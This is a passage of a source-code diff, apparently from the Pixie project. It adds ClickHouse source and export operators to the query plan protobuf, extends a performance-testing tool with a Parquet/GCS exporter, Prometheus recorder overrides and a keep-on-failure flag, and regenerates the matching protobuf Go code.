append(m.Spans, &OTelSpan{}) - if err := m.Spans[len(m.Spans)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { - return err - } - iNdEx = postIndex - case 5: + case 2: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Logs", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field ClickhouseColumnName", wireType) } - var msglen int + var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -18195,26 +20520,43 @@ func (m *OTelExportSinkOperator) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - msglen |= int(b&0x7F) << shift + stringLen |= uint64(b&0x7F) << shift if b < 0x80 { break } } - if msglen < 0 { + intStringLen := int(stringLen) + if intStringLen < 0 { return ErrInvalidLengthPlan } - postIndex := iNdEx + msglen + postIndex := iNdEx + intStringLen if postIndex < 0 { return ErrInvalidLengthPlan } if postIndex > l { return io.ErrUnexpectedEOF } - m.Logs = append(m.Logs, &OTelLog{}) - if err := m.Logs[len(m.Logs)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { - return err - } + m.ClickhouseColumnName = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ColumnType", wireType) + } + m.ColumnType = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.ColumnType |= typespb.DataType(b&0x7F) << shift + if b < 0x80 { + break + } + } default: iNdEx = preIndex skippy, err := skipPlan(dAtA[iNdEx:]) diff --git a/src/carnot/planpb/plan.proto b/src/carnot/planpb/plan.proto index c7bcb552dda..738b4793c08 100644 --- a/src/carnot/planpb/plan.proto +++ b/src/carnot/planpb/plan.proto @@ -104,6 +104,7 @@ enum OperatorType { GRPC_SOURCE_OPERATOR = 1100; UDTF_SOURCE_OPERATOR = 1200; EMPTY_SOURCE_OPERATOR = 1300; + CLICKHOUSE_SOURCE_OPERATOR = 1400; // Regular operators are range 2000 - 10000. MAP_OPERATOR = 2000; AGGREGATE_OPERATOR = 2100; @@ -115,6 +116,7 @@ enum OperatorType { MEMORY_SINK_OPERATOR = 9000; GRPC_SINK_OPERATOR = 9100; OTEL_EXPORT_SINK_OPERATOR = 9200; + CLICKHOUSE_EXPORT_SINK_OPERATOR = 9300; } // The Logical operation performed. Each operator needs and entry in this @@ -149,6 +151,10 @@ message Operator { EmptySourceOperator empty_source_op = 13; // OTelExportSinkOperator writes the input table to an OpenTelemetry endpoint. OTelExportSinkOperator otel_sink_op = 14 [ (gogoproto.customname) = "OTelSinkOp" ]; + // ClickHouseSourceOperator reads data from a ClickHouse database. + ClickHouseSourceOperator clickhouse_source_op = 15; + // ClickHouseExportSinkOperator writes the input table to a ClickHouse database. + ClickHouseExportSinkOperator clickhouse_sink_op = 16; } } @@ -358,6 +364,44 @@ message EmptySourceOperator { repeated px.types.DataType column_types = 2; } +// Source operator that queries a ClickHouse database. +message ClickHouseSourceOperator { + // Connection parameters + string host = 1; + int32 port = 2; + string username = 3; + string password = 4; + string database = 5; + + // Query to execute + string query = 6; + + // The names for the columns (can be auto-detected from query) + repeated string column_names = 7; + // The types of the columns (can be auto-detected from query) + repeated px.types.DataType column_types = 8; + + // Batch size for fetching results + int32 batch_size = 9; + + // Whether to stream results (future enhancement) + bool streaming = 10; + + // Column name to use for timestamp-based filtering and ordering + // This column should be of DateTime or DateTime64 type + string timestamp_column = 11; + + // Column name to use for partitioning + // The underlying ClickHouse table should be partitioned by this column + string partition_column = 12; + + // Start time for time-based filtering (nanoseconds since epoch) + int64 start_time = 13; + + // End time for time-based filtering (nanoseconds since epoch) + int64 end_time = 14; +} + // OTelLog maps operator columns to each field in the OpenTelemetry Log configuration. // The mapping ensures that each row of the table will be a separate log. // Maps to the config described here: @@ -524,6 +568,22 @@ message OTelEndpointConfig { int64 timeout = 4; } +// ClickHouseConfig contains the connection parameters for ClickHouse. +message ClickHouseConfig { + // The hostname of the node executing the query. + string hostname = 1; + // The ClickHouse server host. + string host = 2; + // The ClickHouse server port. + int32 port = 3; + // The ClickHouse username. + string username = 4; + // The ClickHouse password. + string password = 5; + // The ClickHouse database name. + string database = 6; +} + // Defines a resource. Discussed in depth in the OpenTelemetry spec. // https://github.com/open-telemetry/opentelemetry-specification/blob/main/specification/resource/sdk.md message OTelResource { @@ -547,6 +607,24 @@ message OTelExportSinkOperator { repeated OTelLog logs = 5; } +message ClickHouseExportSinkOperator { + // ClickHouse connection parameters + ClickHouseConfig clickhouse_config = 1; + // Target table name to insert data into + string table_name = 2; + // Column mapping: maps input column indices to ClickHouse table columns + repeated ColumnMapping column_mappings = 3; + + message ColumnMapping { + // Index of the column in the input row batch + int32 input_column_index = 1; + // Name of the column in the ClickHouse table + string clickhouse_column_name = 2; + // Data type of the column + px.types.DataType column_type = 3; + } +} + // Scalar expression is any single valued expression. message ScalarExpression { oneof value { diff --git a/src/carnot/planpb/test_proto.h b/src/carnot/planpb/test_proto.h index 0ca5a1c37a4..227d5ad7dd2 100644 --- a/src/carnot/planpb/test_proto.h +++ b/src/carnot/planpb/test_proto.h @@ -195,6 +195,26 @@ column_names: "usage" streaming: false )"; +constexpr char kClickHouseSourceOperator[] = R"( +host: "localhost" +port: 9000 +username: "default" +password: "test_password" +database: "default" +query: "SELECT id, name, value FROM test_table" +batch_size: 2 +streaming: false +column_names: "id" +column_names: "name" +column_names: "value" +column_types: INT64 +column_types: STRING +column_types: FLOAT64 +timestamp_column: "timestamp" +start_time: 1000000000000000000 +end_time: 9223372036854775807 +)"; + constexpr char kBlockingAggOperator1[] = R"( windowed: false values { @@ -1024,6 +1044,64 @@ constexpr char kPlanWithTwoSourcesWithLimits[] = R"proto( } )proto"; +constexpr char kPlanWithOTelExport[] = R"proto( + id: 1, + dag { + nodes { + id: 1 + sorted_children: 2 + } + nodes { + id: 2 + sorted_parents: 1 + } + } + nodes { + id: 1 + op { + op_type: MEMORY_SOURCE_OPERATOR + mem_source_op { + name: "numbers" + column_idxs: 0 + column_types: INT64 + column_names: "a" + column_idxs: 1 + column_types: BOOLEAN + column_names: "b" + column_idxs: 2 + column_types: FLOAT64 + column_names: "c" + } + } + } + nodes { + id: 2 + op { + op_type: OTEL_EXPORT_SINK_OPERATOR + otel_sink_op { + endpoint_config { + url: "0.0.0.0:55690" + headers { + key: "apikey" + value: "12345" + } + timeout: 5 + } + resource { + attributes { + name: "service.name" + column { + column_type: STRING + column_index: 1 + can_be_json_encoded_array: true + } + } + } + } + } + } +)proto"; + constexpr char kOneLimit3Sources[] = R"proto( id: 1, dag { @@ -1328,6 +1406,14 @@ planpb::Operator CreateTestSource1PB(const std::string& table_name = "cpu") { return op; } +planpb::Operator CreateClickHouseSourceOperatorPB() { + planpb::Operator op; + auto op_proto = absl::Substitute(kOperatorProtoTmpl, "CLICKHOUSE_SOURCE_OPERATOR", + "clickhouse_source_op", kClickHouseSourceOperator); + CHECK(google::protobuf::TextFormat::MergeFromString(op_proto, &op)) << "Failed to parse proto"; + return op; +} + planpb::Operator CreateTestStreamingSource1PB(const std::string& table_name = "cpu") { planpb::Operator op; auto mem_proto = absl::Substitute(kStreamingMemSourceOperator1, table_name); @@ -1378,6 +1464,32 @@ planpb::Operator CreateTestSink1PB() { return op; } +// Create a test ClickHouse source operator with hardcoded values +planpb::Operator CreateTestClickHouseSourcePB() { + constexpr char kClickHouseSourceOperator[] = R"( + host: "localhost" + port: 9000 + username: "default" + password: "test_password" + database: "default" + query: "SELECT id, name, value FROM test_table ORDER BY id" + batch_size: 1024 + streaming: false + column_names: "id" + column_names: "name" + column_names: "value" + column_types: UINT64 + column_types: STRING + column_types: FLOAT64 + )"; + + planpb::Operator op; + auto op_proto = absl::Substitute(kOperatorProtoTmpl, "CLICKHOUSE_SOURCE_OPERATOR", + "clickhouse_source_op", kClickHouseSourceOperator); + CHECK(google::protobuf::TextFormat::MergeFromString(op_proto, &op)) << "Failed to parse proto"; + return op; +} + planpb::Operator CreateTestSink2PB() { planpb::Operator op; auto op_proto = absl::Substitute(kOperatorProtoTmpl, "MEMORY_SINK_OPERATOR", "mem_sink_op", diff --git a/src/common/testing/protobuf.h b/src/common/testing/protobuf.h index 5a9fed3d16b..cad88de39a2 100644 --- a/src/common/testing/protobuf.h +++ b/src/common/testing/protobuf.h @@ -67,7 +67,7 @@ struct ProtoMatcher { } virtual void DescribeTo(::std::ostream* os) const { - *os << "equals to text probobuf: " << expected_text_pb_; + *os << "equals to text protobuf: " << expected_text_pb_; } virtual void DescribeNegationTo(::std::ostream* os) const { @@ -98,7 +98,7 @@ struct PartiallyEqualsProtoMatcher : public ProtoMatcher { } void DescribeTo(::std::ostream* os) const override { - *os << "partially equals to text probobuf: " << expected_text_pb_; + *os << "partially equals to text protobuf: " << expected_text_pb_; } void DescribeNegationTo(::std::ostream* os) const override { diff --git a/src/common/uuid/uuid_utils.h b/src/common/uuid/uuid_utils.h index 90207d75491..792a79453e3 100644 --- a/src/common/uuid/uuid_utils.h +++ b/src/common/uuid/uuid_utils.h @@ -49,6 +49,10 @@ inline void ClearUUID(sole::uuid* uuid) { uuid->cd = 0; } +inline bool operator==(const px::uuidpb::UUID& lhs, const px::uuidpb::UUID& rhs) { + return lhs.low_bits() == rhs.low_bits() && lhs.high_bits() == rhs.high_bits(); +} + } // namespace px // Allow UUID to be logged. diff --git a/src/e2e_test/perf_tool/cmd/BUILD.bazel b/src/e2e_test/perf_tool/cmd/BUILD.bazel index 012fd3488b0..23540786c4b 100644 --- a/src/e2e_test/perf_tool/cmd/BUILD.bazel +++ b/src/e2e_test/perf_tool/cmd/BUILD.bazel @@ -33,6 +33,7 @@ go_library( "//src/e2e_test/perf_tool/pkg/cluster", "//src/e2e_test/perf_tool/pkg/cluster/gke", "//src/e2e_test/perf_tool/pkg/cluster/local", + "//src/e2e_test/perf_tool/pkg/exporter", "//src/e2e_test/perf_tool/pkg/pixie", "//src/e2e_test/perf_tool/pkg/run", "//src/e2e_test/perf_tool/pkg/suites", diff --git a/src/e2e_test/perf_tool/cmd/run.go b/src/e2e_test/perf_tool/cmd/run.go index 5d8a89a9f7a..f8c0a509111 100644 --- a/src/e2e_test/perf_tool/cmd/run.go +++ b/src/e2e_test/perf_tool/cmd/run.go @@ -45,6 +45,7 @@ import ( "px.dev/pixie/src/e2e_test/perf_tool/pkg/cluster" "px.dev/pixie/src/e2e_test/perf_tool/pkg/cluster/gke" "px.dev/pixie/src/e2e_test/perf_tool/pkg/cluster/local" + "px.dev/pixie/src/e2e_test/perf_tool/pkg/exporter" "px.dev/pixie/src/e2e_test/perf_tool/pkg/pixie" "px.dev/pixie/src/e2e_test/perf_tool/pkg/run" "px.dev/pixie/src/e2e_test/perf_tool/pkg/suites" @@ -74,9 +75,13 @@ func init() { RunCmd.Flags().String("api_key", "", "The Pixie API key to use for deploying pixie") RunCmd.Flags().String("cloud_addr", "withpixie.ai:443", "The Pixie Cloud address to use for deploying pixie") + RunCmd.Flags().String("export_backend", "bq", "Export backend: 'bq' or 'parquet-gcs'") RunCmd.Flags().String("bq_project", "pl-pixies", "The gcloud project to put bigquery results/specs in") RunCmd.Flags().String("bq_dataset", "px_perf", "The name of the bigquery dataset to put results/specs in") RunCmd.Flags().String("bq_dataset_loc", "us-west1", "The gcloud region for the bigquery dataset") + RunCmd.Flags().String("gcs_bucket", "", "GCS bucket for parquet export (required when export_backend=parquet-gcs)") + RunCmd.Flags().String("gcs_prefix", "", "Path prefix within the GCS bucket for parquet export") + RunCmd.Flags().Int("parquet_batch_size", 10000, "Number of rows per parquet file when using parquet-gcs backend") RunCmd.Flags().String("gke_project", "pl-pixies", "The gcloud project to use for GKE clusters") RunCmd.Flags().String("gke_zone", "us-west1-a", "The gcloud zone to use for GKE clusters") @@ -95,6 +100,9 @@ func init() { RunCmd.Flags().String("ds_experiment_page_id", "p_g7fj6pf4yc", "The unique ID of the datastudio experiment page, used to print links to datastudio views") RunCmd.Flags().Bool("pretty", false, "Pretty print output json") + RunCmd.Flags().StringSlice("prom_recorder_override", []string{}, "Override kubeconfig/kube_context for a named prometheus recorder. Format: name=kubeconfig_path:kube_context (either side may be empty). Repeatable.") + RunCmd.Flags().Bool("keep_on_failure", false, "If the experiment fails, skip teardown (stop vizier/workloads/recorders and cluster cleanup) so the cluster state can be inspected. Implies --max_retries=1.") + RootCmd.AddCommand(RunCmd) } @@ -131,6 +139,15 @@ func runCmd(ctx context.Context, cmd *cobra.Command) error { return err } + promOverrides, err := parsePromRecorderOverrides(viper.GetStringSlice("prom_recorder_override")) + if err != nil { + log.WithError(err).Error("failed to parse --prom_recorder_override flags") + return err + } + for _, spec := range specs { + applyPromRecorderOverrides(spec, promOverrides) + } + var c cluster.Provider if viper.GetBool("use_local_cluster") { c = &local.ClusterProvider{} @@ -162,20 +179,23 @@ func runCmd(ctx context.Context, cmd *cobra.Command) error { } } - resultTable, err := createResultTable() + metricsExporter, err := createExporter(ctx) if err != nil { - log.WithError(err).Error("failed to create results table") - return err - } - specTable, err := createSpecTable() - if err != nil { - log.WithError(err).Error("failed to create spec table") + log.WithError(err).Error("failed to create exporter") return err } + defer metricsExporter.Close() containerRegistryRepo := viper.GetString("container_repo") maxRetries := viper.GetInt("max_retries") numRuns := viper.GetInt("num_runs") + keepOnFailure := viper.GetBool("keep_on_failure") + if keepOnFailure { + if maxRetries > 1 { + log.Warn("--keep_on_failure is set; forcing --max_retries=1 to avoid retries racing with preserved cluster state") + } + maxRetries = 1 + } eg := errgroup.Group{} experiments := make(chan *exp, len(specs)*numRuns) @@ -189,7 +209,7 @@ func runCmd(ctx context.Context, cmd *cobra.Command) error { s := spec n := name eg.Go(func() error { - expID, err := runExperiment(ctx, s, c, pxAPIKey, pxCloudAddr, resultTable, specTable, containerRegistryRepo, maxRetries) + expID, err := runExperiment(ctx, s, c, pxAPIKey, pxCloudAddr, metricsExporter, containerRegistryRepo, maxRetries, keepOnFailure) if err != nil { log.WithError(err).Error("failed to run experiment") return err @@ -257,10 +277,10 @@ func runExperiment( c cluster.Provider, pxAPIKey string, pxCloudAddr string, - resultTable *bq.Table, - specTable *bq.Table, + metricsExporter exporter.Exporter, containerRegistryRepo string, maxRetries int, + keepOnFailure bool, ) (uuid.UUID, error) { var expID uuid.UUID bo := &maxRetryBackoff{ @@ -268,7 +288,8 @@ func runExperiment( } op := func() error { pxCtx := pixie.NewContext(pxAPIKey, pxCloudAddr) - r := run.NewRunner(c, pxCtx, resultTable, specTable, containerRegistryRepo) + r := run.NewRunner(c, pxCtx, metricsExporter, containerRegistryRepo) + r.SetKeepOnFailure(keepOnFailure) var err error expID, err = uuid.NewV4() if err != nil { @@ -335,7 +356,24 @@ func getExperimentSpecs() (map[string]*experimentpb.ExperimentSpec, error) { return nil, errors.New("must specify one of --experiment_proto or --suite") } -func createResultTable() (*bq.Table, error) { +func createExporter(ctx context.Context) (exporter.Exporter, error) { + switch viper.GetString("export_backend") { + case "bq": + return createBQExporter() + case "parquet-gcs": + bucket := viper.GetString("gcs_bucket") + if bucket == "" { + return nil, errors.New("--gcs_bucket is required when using parquet-gcs backend") + } + prefix := viper.GetString("gcs_prefix") + batchSize := viper.GetInt("parquet_batch_size") + return exporter.NewParquetGCSExporter(ctx, bucket, prefix, batchSize) + default: + return nil, fmt.Errorf("unknown export backend: %s", viper.GetString("export_backend")) + } +} + +func createBQExporter() (*exporter.BQExporter, error) { bqProject := viper.GetString("bq_project") bqDataset := viper.GetString("bq_dataset") bqDatasetLoc := viper.GetString("bq_dataset_loc") @@ -343,15 +381,16 @@ func createResultTable() (*bq.Table, error) { Type: bigquery.DayPartitioningType, Field: "timestamp", } - return bq.NewTableForStruct(bqProject, bqDataset, bqDatasetLoc, "results", timePartitioning, run.ResultRow{}) -} - -func createSpecTable() (*bq.Table, error) { - bqProject := viper.GetString("bq_project") - bqDataset := viper.GetString("bq_dataset") - bqDatasetLoc := viper.GetString("bq_dataset_loc") - var timePartitioning *bigquery.TimePartitioning - return bq.NewTableForStruct(bqProject, bqDataset, bqDatasetLoc, "specs", timePartitioning, run.SpecRow{}) + resultTable, err := bq.NewTableForStruct(bqProject, bqDataset, bqDatasetLoc, "results", timePartitioning, exporter.ResultRow{}) + if err != nil { + return nil, err + } + var specTimePartitioning *bigquery.TimePartitioning + specTable, err := bq.NewTableForStruct(bqProject, bqDataset, bqDatasetLoc, "specs", specTimePartitioning, exporter.SpecRow{}) + if err != nil { + return nil, err + } + return exporter.NewBQExporter(resultTable, specTable), nil } func getNumNodesInCluster(ctx context.Context, c cluster.Provider) (int, error) { @@ -388,3 +427,50 @@ func datastudioLink(dsReportID string, dsExperimentPageID string, expID uuid.UUI encodedParams := url.QueryEscape(params) return fmt.Sprintf("https://datastudio.google.com/reporting/%s/page/%s?params=%s", dsReportID, dsExperimentPageID, encodedParams) } + +type promRecorderOverride struct { + KubeconfigPath string + KubeContext string +} + +func parsePromRecorderOverrides(raw []string) (map[string]promRecorderOverride, error) { + out := make(map[string]promRecorderOverride, len(raw)) + for _, s := range raw { + nameAndVal := strings.SplitN(s, "=", 2) + if len(nameAndVal) != 2 || nameAndVal[0] == "" { + return nil, fmt.Errorf("invalid --prom_recorder_override %q: expected name=kubeconfig:context", s) + } + parts := strings.SplitN(nameAndVal[1], ":", 2) + ov := promRecorderOverride{KubeconfigPath: parts[0]} + if len(parts) == 2 { + ov.KubeContext = parts[1] + } + if ov.KubeconfigPath == "" && ov.KubeContext == "" { + return nil, fmt.Errorf("invalid --prom_recorder_override %q: at least one of kubeconfig or context must be set", s) + } + out[nameAndVal[0]] = ov + } + return out, nil +} + +func applyPromRecorderOverrides(spec *experimentpb.ExperimentSpec, overrides map[string]promRecorderOverride) { + if len(overrides) == 0 { + return + } + for _, m := range spec.MetricSpecs { + prom := m.GetProm() + if prom == nil || prom.Name == "" { + continue + } + ov, ok := overrides[prom.Name] + if !ok { + continue + } + if ov.KubeconfigPath != "" { + prom.KubeconfigPath = ov.KubeconfigPath + } + if ov.KubeContext != "" { + prom.KubeContext = ov.KubeContext + } + } +} diff --git a/src/e2e_test/perf_tool/experimentpb/experiment.pb.go b/src/e2e_test/perf_tool/experimentpb/experiment.pb.go index dc43e5d79be..923ed6cc1b9 100755 --- a/src/e2e_test/perf_tool/experimentpb/experiment.pb.go +++ b/src/e2e_test/perf_tool/experimentpb/experiment.pb.go @@ -647,8 +647,9 @@ func (m *PatchTarget) GetAnnotationSelector() string { } type PrerenderedDeploy struct { - YAMLPaths []string `protobuf:"bytes,1,rep,name=yaml_paths,json=yamlPaths,proto3" json:"yaml_paths,omitempty"` - Patches []*PatchSpec `protobuf:"bytes,2,rep,name=patches,proto3" json:"patches,omitempty"` + YAMLPaths []string `protobuf:"bytes,1,rep,name=yaml_paths,json=yamlPaths,proto3" json:"yaml_paths,omitempty"` + Patches []*PatchSpec `protobuf:"bytes,2,rep,name=patches,proto3" json:"patches,omitempty"` + SkipNamespaceDelete bool `protobuf:"varint,3,opt,name=skip_namespace_delete,json=skipNamespaceDelete,proto3" json:"skip_namespace_delete,omitempty"` } func (m *PrerenderedDeploy) Reset() { *m = PrerenderedDeploy{} } @@ -697,6 +698,13 @@ func (m *PrerenderedDeploy) GetPatches() []*PatchSpec { return nil } +func (m *PrerenderedDeploy) GetSkipNamespaceDelete() bool { + if m != nil { + return m.SkipNamespaceDelete + } + return false +} + type SkaffoldDeploy struct { SkaffoldPath string `protobuf:"bytes,1,opt,name=skaffold_path,json=skaffoldPath,proto3" json:"skaffold_path,omitempty"` SkaffoldArgs []string `protobuf:"bytes,2,rep,name=skaffold_args,json=skaffoldArgs,proto3" json:"skaffold_args,omitempty"` @@ -1254,6 +1262,9 @@ type PrometheusScrapeSpec struct { Port int32 `protobuf:"varint,4,opt,name=port,proto3" json:"port,omitempty"` ScrapePeriod *types.Duration `protobuf:"bytes,5,opt,name=scrape_period,json=scrapePeriod,proto3" json:"scrape_period,omitempty"` MetricNames map[string]string `protobuf:"bytes,6,rep,name=metric_names,json=metricNames,proto3" json:"metric_names,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + KubeconfigPath string `protobuf:"bytes,7,opt,name=kubeconfig_path,json=kubeconfigPath,proto3" json:"kubeconfig_path,omitempty"` + KubeContext string `protobuf:"bytes,8,opt,name=kube_context,json=kubeContext,proto3" json:"kube_context,omitempty"` + Name string `protobuf:"bytes,9,opt,name=name,proto3" json:"name,omitempty"` } func (m *PrometheusScrapeSpec) Reset() { *m = PrometheusScrapeSpec{} } @@ -1330,6 +1341,27 @@ func (m *PrometheusScrapeSpec) GetMetricNames() map[string]string { return nil } +func (m *PrometheusScrapeSpec) GetKubeconfigPath() string { + if m != nil { + return m.KubeconfigPath + } + return "" +} + +func (m *PrometheusScrapeSpec) GetKubeContext() string { + if m != nil { + return m.KubeContext + } + return "" +} + +func (m *PrometheusScrapeSpec) GetName() string { + if m != nil { + return m.Name + } + return "" +} + type ClusterSpec struct { NumNodes int32 `protobuf:"varint,1,opt,name=num_nodes,json=numNodes,proto3" json:"num_nodes,omitempty"` Node *NodeSpec `protobuf:"bytes,2,opt,name=node,proto3" json:"node,omitempty"` @@ -1560,119 +1592,124 @@ func init() { } var fileDescriptor_96d7e52dda1e6fe3 = []byte{ - // 1786 bytes of a gzipped FileDescriptorProto - 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xac, 0x58, 0xcd, 0x73, 0x1b, 0x49, - 0x15, 0xd7, 0x48, 0xb2, 0x25, 0x3d, 0xc9, 0xb2, 0xdc, 0xf9, 0x40, 0xf1, 0xa6, 0xe4, 0xec, 0x6c, - 0x01, 0x21, 0xec, 0x5a, 0x24, 0xcb, 0x87, 0xd9, 0x2c, 0x5b, 0x25, 0xc9, 0x06, 0x2b, 0x71, 0x6c, - 0xd1, 0xf2, 0x7a, 0x61, 0x8b, 0xaa, 0xa9, 0xf6, 0x4c, 0x47, 0x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x8a, 0x00, 0x56, 0xbb, 0x9f, 0xe2, 0xc3, 0xfe, 0x61, 0xa3, 0xd4, 0xed, 0xbe, 0x78, - 0xd9, 0xca, 0x7d, 0xf9, 0xb2, 0x95, 0xfb, 0xea, 0x65, 0xcb, 0xf8, 0xd5, 0xb4, 0x65, 0xfc, 0x69, - 0xda, 0x32, 0xfe, 0x36, 0x6d, 0x19, 0x2f, 0xa6, 0x2d, 0xe3, 0x1f, 0xd3, 0x96, 0xf1, 0xcf, 0x69, - 0x2b, 0xf7, 0xd5, 0xb4, 0x65, 0xfc, 0xee, 0x55, 0x2b, 0xf7, 0xe2, 0x55, 0x2b, 0xf7, 0xe5, 0xab, - 0x56, 0xee, 0xf3, 0x5a, 0xf6, 0xaf, 0x84, 0xd3, 0x55, 0x99, 0x9b, 0x0f, 0xff, 0x13, 0x00, 0x00, - 0xff, 0xff, 0x11, 0xaf, 0xeb, 0x55, 0x78, 0x10, 0x00, 0x00, + // 1859 bytes of a gzipped FileDescriptorProto + 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xac, 0x58, 0xcf, 0x73, 0x1b, 0x49, + 0xf5, 0xd7, 0x48, 0xb2, 0x25, 0x3d, 0xc9, 0xb2, 0xdc, 0x8e, 0xf3, 0x55, 0xbc, 0x29, 0x39, 0xab, + 0xad, 0x2f, 0x84, 0xb0, 0x6b, 0x13, 0x2f, 0x3f, 0xcc, 0x66, 0xd9, 0x2a, 0x49, 0x36, 0x58, 0x89, + 0x63, 0x8b, 0x96, 0xd7, 0x0b, 0x5b, 0x54, 0x4d, 0x8d, 0x67, 0xda, 0xf2, 0x94, 0x47, 0x33, 0x93, + 0xe9, 0x56, 0xd6, 0xe6, 0xc4, 0x85, 0xe2, 0x44, 0x15, 0x07, 0xf8, 0x0f, 0x38, 0xec, 0x9f, 0xc0, + 0x9d, 0x03, 0x70, 0xcb, 0x81, 0xc3, 0x9e, 0x5c, 0x44, 0xb9, 0x70, 0x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 0x5c, 0xdc, 0x70, 0x64, 0xd8, 0x7b, 0x12, 0xa4, 0x25, 0x49, 0xc0, + 0x25, 0x79, 0x08, 0x85, 0x50, 0x06, 0x93, 0xc5, 0x2d, 0xe3, 0xff, 0xe6, 0xdc, 0x80, 0xea, 0x68, + 0x9a, 0x47, 0xb6, 0x61, 0x8d, 0x5f, 0xb8, 0xa1, 0x99, 0x38, 0x68, 0x3a, 0xcc, 0x63, 0x82, 0x61, + 0x94, 0x8a, 0x74, 0x55, 0x6e, 0x1e, 0xc6, 0x7b, 0xbb, 0xb8, 0xd5, 0xfc, 0xad, 0x01, 0xd5, 0xe9, + 0x42, 0x24, 0xef, 0xc1, 0x52, 0x5c, 0x88, 0x68, 0xab, 0xce, 0xb5, 0x4a, 0x0c, 0x4a, 0xfb, 0xa6, + 0x48, 0x56, 0x34, 0x50, 0x46, 0xa6, 0x48, 0xad, 0x68, 0x30, 0xe5, 0x43, 0xee, 0x3f, 0xf3, 0xa1, + 0x79, 0x05, 0xe5, 0x54, 0x85, 0xcb, 0x3b, 0x45, 0xed, 0x86, 0x6a, 0xbb, 0x72, 0x4d, 0x1a, 0x00, + 0x89, 0x87, 0xf1, 0xb9, 0x29, 0x84, 0x7c, 0x1f, 0xaa, 0x9c, 0x09, 0x33, 0x1e, 0x26, 0xae, 0xca, + 0x92, 0x62, 0xbb, 0x36, 0xbe, 0xde, 0xa8, 0xf4, 0x99, 0xd0, 0x33, 0xa4, 0xbb, 0x4b, 0x2b, 0x7c, + 0xf2, 0xe5, 0x34, 0xff, 0x64, 0x00, 0x4c, 0x86, 0x13, 0xd9, 0x51, 0x95, 0xaf, 0xfa, 0xc6, 0x3b, + 0x37, 0x2a, 0xbf, 0x8f, 0x95, 0x27, 0x99, 0xb3, 0x85, 0x4f, 0x76, 0x20, 0x1f, 0x46, 0xc1, 0x50, + 0x57, 0x4e, 0x73, 0xb6, 0x6f, 0x06, 0x43, 0x26, 0xce, 0xd9, 0x88, 0xf7, 0xed, 0xc8,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xf7, 0x68, 0xbf, 0x96, 0x25, 0xcb, 0x50, 0xee, + 0x1f, 0x1f, 0xf5, 0x62, 0x0d, 0x39, 0x42, 0xa0, 0x8a, 0xc0, 0x44, 0x41, 0x9e, 0xdc, 0x81, 0x35, + 0xc4, 0x6e, 0xc8, 0x2f, 0x90, 0x02, 0xe4, 0xe8, 0xa7, 0x87, 0xb5, 0x45, 0x02, 0xb0, 0xd8, 0xfe, + 0x94, 0x1e, 0x76, 0x0f, 0x6b, 0x85, 0x76, 0xfb, 0xc5, 0xcb, 0x46, 0xe6, 0xab, 0x97, 0x8d, 0xcc, + 0xd7, 0x2f, 0x1b, 0xc6, 0xaf, 0xc6, 0x0d, 0xe3, 0xcb, 0x71, 0xc3, 0xf8, 0xeb, 0xb8, 0x61, 0xbc, + 0x18, 0x37, 0x8c, 0x7f, 0x8c, 0x1b, 0xc6, 0x3f, 0xc7, 0x8d, 0xcc, 0xd7, 0xe3, 0x86, 0xf1, 0xbb, + 0x57, 0x8d, 0xcc, 0x8b, 0x57, 0x8d, 0xcc, 0x57, 0xaf, 0x1a, 0x99, 0xcf, 0x2b, 0xe9, 0xff, 0x37, + 0x4e, 0x17, 0x31, 0x36, 0x1f, 0xfe, 0x3b, 0x00, 0x00, 0xff, 0xff, 0x2f, 0xd3, 0xa2, 0xe8, 0x0d, + 0x11, 0x00, 0x00, } func (x ActionType) String() string { @@ -2117,6 +2154,9 @@ func (this *PrerenderedDeploy) Equal(that interface{}) bool { return false } } + if this.SkipNamespaceDelete != that1.SkipNamespaceDelete { + return false + } return true } func (this *SkaffoldDeploy) Equal(that interface{}) bool { @@ -2546,6 +2586,15 @@ func (this *PrometheusScrapeSpec) Equal(that interface{}) bool { return false } } + if this.KubeconfigPath != that1.KubeconfigPath { + return false + } + if this.KubeContext != that1.KubeContext { + return false + } + if this.Name != that1.Name { + return false + } return true } func (this *ClusterSpec) Equal(that interface{}) bool { @@ -2819,12 +2868,13 @@ func (this *PrerenderedDeploy) GoString() string { if this == nil { return "nil" } - s := make([]string, 0, 6) + s := make([]string, 0, 7) s = append(s, "&experimentpb.PrerenderedDeploy{") s = append(s, "YAMLPaths: "+fmt.Sprintf("%#v", this.YAMLPaths)+",\n") if this.Patches != nil { s = append(s, "Patches: "+fmt.Sprintf("%#v", this.Patches)+",\n") } + s = append(s, "SkipNamespaceDelete: "+fmt.Sprintf("%#v", this.SkipNamespaceDelete)+",\n") s = append(s, "}") return strings.Join(s, "") } @@ -2995,7 +3045,7 @@ func (this *PrometheusScrapeSpec) GoString() string { if this == nil { return "nil" } - s := make([]string, 0, 10) + s := make([]string, 0, 13) s = append(s, "&experimentpb.PrometheusScrapeSpec{") s = append(s, "Namespace: "+fmt.Sprintf("%#v", this.Namespace)+",\n") s = append(s, "MatchLabelKey: "+fmt.Sprintf("%#v", this.MatchLabelKey)+",\n") @@ -3017,6 +3067,9 @@ func (this *PrometheusScrapeSpec) GoString() string { if this.MetricNames != nil { s = append(s, "MetricNames: "+mapStringForMetricNames+",\n") } + s = append(s, "KubeconfigPath: "+fmt.Sprintf("%#v", this.KubeconfigPath)+",\n") + s = append(s, "KubeContext: "+fmt.Sprintf("%#v", this.KubeContext)+",\n") + s = append(s, "Name: "+fmt.Sprintf("%#v", this.Name)+",\n") s = append(s, "}") return strings.Join(s, "") } @@ -3615,6 +3668,16 @@ func (m *PrerenderedDeploy) MarshalToSizedBuffer(dAtA []byte) (int, error) { _ = i var l int _ = l + if 